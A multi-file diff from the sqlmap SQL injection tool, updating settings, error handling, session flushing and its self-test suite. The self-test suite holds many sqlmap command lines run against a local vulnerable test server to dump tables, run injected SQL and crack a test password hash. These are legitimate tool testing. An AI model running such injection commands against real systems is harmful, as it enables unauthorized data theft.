# Regular expression used for recognition of generic maximum connection messages
|
||||||
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
||||||
|
|
||||||
# Maximum consecutive connection errors before asking the user if he wants to continue
|
# Maximum consecutive connection errors before asking the user if he wants to continue
|
||||||
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
||||||
@@ -125,6 +127,9 @@ MAX_MURPHY_SLEEP_TIME = 3
|
|||||||
# Regular expression used for extracting results from Google search
|
# Regular expression used for extracting results from Google search
|
||||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||||
|
|
||||||
|
# Google Search consent cookie
|
||||||
|
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
|
||||||
|
|
||||||
# Regular expression used for extracting results from DuckDuckGo search
|
# Regular expression used for extracting results from DuckDuckGo search
|
||||||
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
||||||
|
|
||||||
@@ -288,7 +293,7 @@ VIRTUOSO_SYSTEM_DBS = ("",)
|
|||||||
# Note: (<regular>) + (<forks>)
|
# Note: (<regular>) + (<forks>)
|
||||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||||
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle")
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle")
|
||||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb")
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb")
|
||||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||||
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
|
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
|
||||||
@@ -297,7 +302,7 @@ MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
|||||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||||
H2_ALIASES = ("h2", "ignite")
|
H2_ALIASES = ("h2",) + ("ignite", "apache ignite")
|
||||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||||
MONETDB_ALIASES = ("monet", "monetdb",)
|
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||||
DERBY_ALIASES = ("derby", "apache derby",)
|
DERBY_ALIASES = ("derby", "apache derby",)
|
||||||
@@ -326,7 +331,7 @@ REFERER_ALIASES = ("ref", "referer", "referrer")
|
|||||||
HOST_ALIASES = ("host",)
|
HOST_ALIASES = ("host",)
|
||||||
|
|
||||||
# DBMSes with upper case identifiers
|
# DBMSes with upper case identifiers
|
||||||
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
||||||
|
|
||||||
# Default schemas to use (when unable to enumerate)
|
# Default schemas to use (when unable to enumerate)
|
||||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||||
@@ -505,6 +510,9 @@ REFLECTED_MAX_REGEX_PARTS = 10
|
|||||||
# Chars which can be used as a failsafe values in case of too long URL encoding value
|
# Chars which can be used as a failsafe values in case of too long URL encoding value
|
||||||
URLENCODE_FAILSAFE_CHARS = "()|,"
|
URLENCODE_FAILSAFE_CHARS = "()|,"
|
||||||
|
|
||||||
|
# Factor used for yuge page multiplication
|
||||||
|
YUGE_FACTOR = 1000
|
||||||
|
|
||||||
# Maximum length of URL encoded value after which failsafe procedure takes away
|
# Maximum length of URL encoded value after which failsafe procedure takes away
|
||||||
URLENCODE_CHAR_LIMIT = 2000
|
URLENCODE_CHAR_LIMIT = 2000
|
||||||
|
|
||||||
@@ -899,6 +907,9 @@ KB_CHARS_BOUNDARY_CHAR = 'q'
|
|||||||
# Letters of lower frequency used in kb.chars
|
# Letters of lower frequency used in kb.chars
|
||||||
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"
|
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"
|
||||||
|
|
||||||
|
# Printable bytes
|
||||||
|
PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable)
|
||||||
|
|
||||||
# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
|
# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
|
||||||
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules")
|
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules")
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -99,8 +99,8 @@ class Popen(subprocess.Popen):
|
|||||||
(_, written) = WriteFile(x, input)
|
(_, written) = WriteFile(x, input)
|
||||||
except ValueError:
|
except ValueError:
|
||||||
return self._close('stdin')
|
return self._close('stdin')
|
||||||
except (subprocess.pywintypes.error, Exception) as ex:
|
except Exception as ex:
|
||||||
if ex.args[0] in (109, errno.ESHUTDOWN):
|
if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN):
|
||||||
return self._close('stdin')
|
return self._close('stdin')
|
||||||
raise
|
raise
|
||||||
|
|
||||||
@@ -120,8 +120,8 @@ class Popen(subprocess.Popen):
|
|||||||
(_, read) = ReadFile(x, nAvail, None)
|
(_, read) = ReadFile(x, nAvail, None)
|
||||||
except (ValueError, NameError):
|
except (ValueError, NameError):
|
||||||
return self._close(which)
|
return self._close(which)
|
||||||
except (subprocess.pywintypes.error, Exception) as ex:
|
except Exception as ex:
|
||||||
if ex.args[0] in (109, errno.ESHUTDOWN):
|
if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN):
|
||||||
return self._close(which)
|
return self._close(which)
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -73,6 +73,7 @@ from lib.core.settings import UNKNOWN_DBMS_VERSION
|
|||||||
from lib.core.settings import URI_INJECTABLE_REGEX
|
from lib.core.settings import URI_INJECTABLE_REGEX
|
||||||
from lib.core.settings import USER_AGENT_ALIASES
|
from lib.core.settings import USER_AGENT_ALIASES
|
||||||
from lib.core.settings import XML_RECOGNITION_REGEX
|
from lib.core.settings import XML_RECOGNITION_REGEX
|
||||||
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.utils.hashdb import HashDB
|
from lib.utils.hashdb import HashDB
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.odict import OrderedDict
|
from thirdparty.odict import OrderedDict
|
||||||
@@ -429,8 +430,11 @@ def _setHashDB():
|
|||||||
if not conf.hashDBFile:
|
if not conf.hashDBFile:
|
||||||
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
|
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
|
||||||
|
|
||||||
if os.path.exists(conf.hashDBFile):
|
|
||||||
if conf.flushSession:
|
if conf.flushSession:
|
||||||
|
if os.path.exists(conf.hashDBFile):
|
||||||
|
if conf.hashDB:
|
||||||
|
conf.hashDB.closeAll()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
os.remove(conf.hashDBFile)
|
os.remove(conf.hashDBFile)
|
||||||
logger.info("flushing session file")
|
logger.info("flushing session file")
|
||||||
@@ -605,7 +609,7 @@ def _createFilesDir():
|
|||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
|
||||||
warnMsg = "unable to create files directory "
|
warnMsg = "unable to create files directory "
|
||||||
warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex))
|
warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex))
|
||||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
conf.filePath = tempDir
|
conf.filePath = tempDir
|
||||||
@@ -627,7 +631,7 @@ def _createDumpDir():
|
|||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
||||||
warnMsg = "unable to create dump directory "
|
warnMsg = "unable to create dump directory "
|
||||||
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
|
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
|
||||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
conf.dumpPath = tempDir
|
conf.dumpPath = tempDir
|
||||||
@@ -708,6 +712,9 @@ def initTargetEnv():
|
|||||||
if conf.cj:
|
if conf.cj:
|
||||||
resetCookieJar(conf.cj)
|
resetCookieJar(conf.cj)
|
||||||
|
|
||||||
|
threadData = getCurrentThreadData()
|
||||||
|
threadData.reset()
|
||||||
|
|
||||||
conf.paramDict = {}
|
conf.paramDict = {}
|
||||||
conf.parameters = {}
|
conf.parameters = {}
|
||||||
conf.hashDBFile = None
|
conf.hashDBFile = None
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -24,13 +24,13 @@ from lib.core.common import randomInt
|
|||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
from lib.core.compat import xrange
|
|
||||||
from lib.core.convert import encodeBase64
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.patch import unisonRandom
|
from lib.core.patch import unisonRandom
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest():
|
||||||
"""
|
"""
|
||||||
@@ -40,30 +40,29 @@ def vulnTest():
|
|||||||
TESTS = (
|
TESTS = (
|
||||||
("-h", ("to see full list of options run with '-hh'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("--dependencies --deprecations", ("sqlmap requires", "third-party library", "~DeprecationWarning:")),
|
("--dependencies --deprecations", ("sqlmap requires", "third-party library", "~DeprecationWarning:")),
|
||||||
("-u <url> --data='reflect=1' --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||||
("-u <url> --data='code=1' --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")),
|
("-u <url> --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")),
|
||||||
(u"-c <config> --flush-session --output-dir=\"<tmdir>\"--smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")),
|
(u"-c <config> --flush-session --output-dir=\"<tmpdir>\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("-m <multiple> --flush-session --technique=B --banner", ("URL 3:", "back-end DBMS: SQLite", "banner: '3.")),
|
("-m <multiple> --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --text-only --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
|
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
||||||
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
|
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
("-u <base> --flush-session --data='id=1&_=Eewef6oh' --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
|
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||||
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
|
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string 'no results'", ("banner: '3.",)),
|
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <base> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <base> --flush-session --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <base> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
("-u <base> --flush-session --method=PUT --data='a=1;id=1;b=2' --param-del=';' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
("-u <base> --flush-session --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||||
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")),
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")),
|
||||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||||
@@ -71,36 +70,62 @@ def vulnTest():
|
|||||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||||
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
||||||
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||||
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||||
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
||||||
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)),
|
||||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||||
)
|
)
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
count = 0
|
count = 0
|
||||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
|
||||||
|
while True:
|
||||||
|
address, port = "127.0.0.1", random.randint(10000, 65535)
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
if s.connect_ex((address, port)):
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
time.sleep(1)
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
|
||||||
def _thread():
|
def _thread():
|
||||||
vulnserver.init(quiet=True)
|
vulnserver.init(quiet=True)
|
||||||
vulnserver.run(address=address, port=port)
|
vulnserver.run(address=address, port=port)
|
||||||
|
|
||||||
|
vulnserver._alive = True
|
||||||
|
|
||||||
thread = threading.Thread(target=_thread)
|
thread = threading.Thread(target=_thread)
|
||||||
thread.daemon = True
|
thread.daemon = True
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
while True:
|
while vulnserver._alive:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
s.connect((address, port))
|
s.connect((address, port))
|
||||||
s.send(b"GET / HTTP/1.0\r\n\r\n")
|
s.sendall(b"GET / HTTP/1.1\r\n\r\n")
|
||||||
if b"vulnserver" in s.recv(4096):
|
result = b""
|
||||||
|
while True:
|
||||||
|
current = s.recv(1024)
|
||||||
|
if not current:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
result += current
|
||||||
|
if b"vulnserver" in result:
|
||||||
break
|
break
|
||||||
except:
|
except:
|
||||||
time.sleep(1)
|
pass
|
||||||
finally:
|
finally:
|
||||||
s.close()
|
s.close()
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
if not vulnserver._alive:
|
||||||
|
logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port))
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
logger.info("vulnserver running at 'http://%s:%s'..." % (address, port))
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
@@ -122,9 +147,14 @@ def vulnTest():
|
|||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
|
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
|
||||||
|
with open(request, "w+") as f:
|
||||||
|
f.write(content)
|
||||||
|
f.flush()
|
||||||
|
|
||||||
open(request, "w+").write(content)
|
content = '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False))
|
||||||
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
|
with open(log, "w+") as f:
|
||||||
|
f.write(content)
|
||||||
|
f.flush()
|
||||||
|
|
||||||
base = "http://%s:%d/" % (address, port)
|
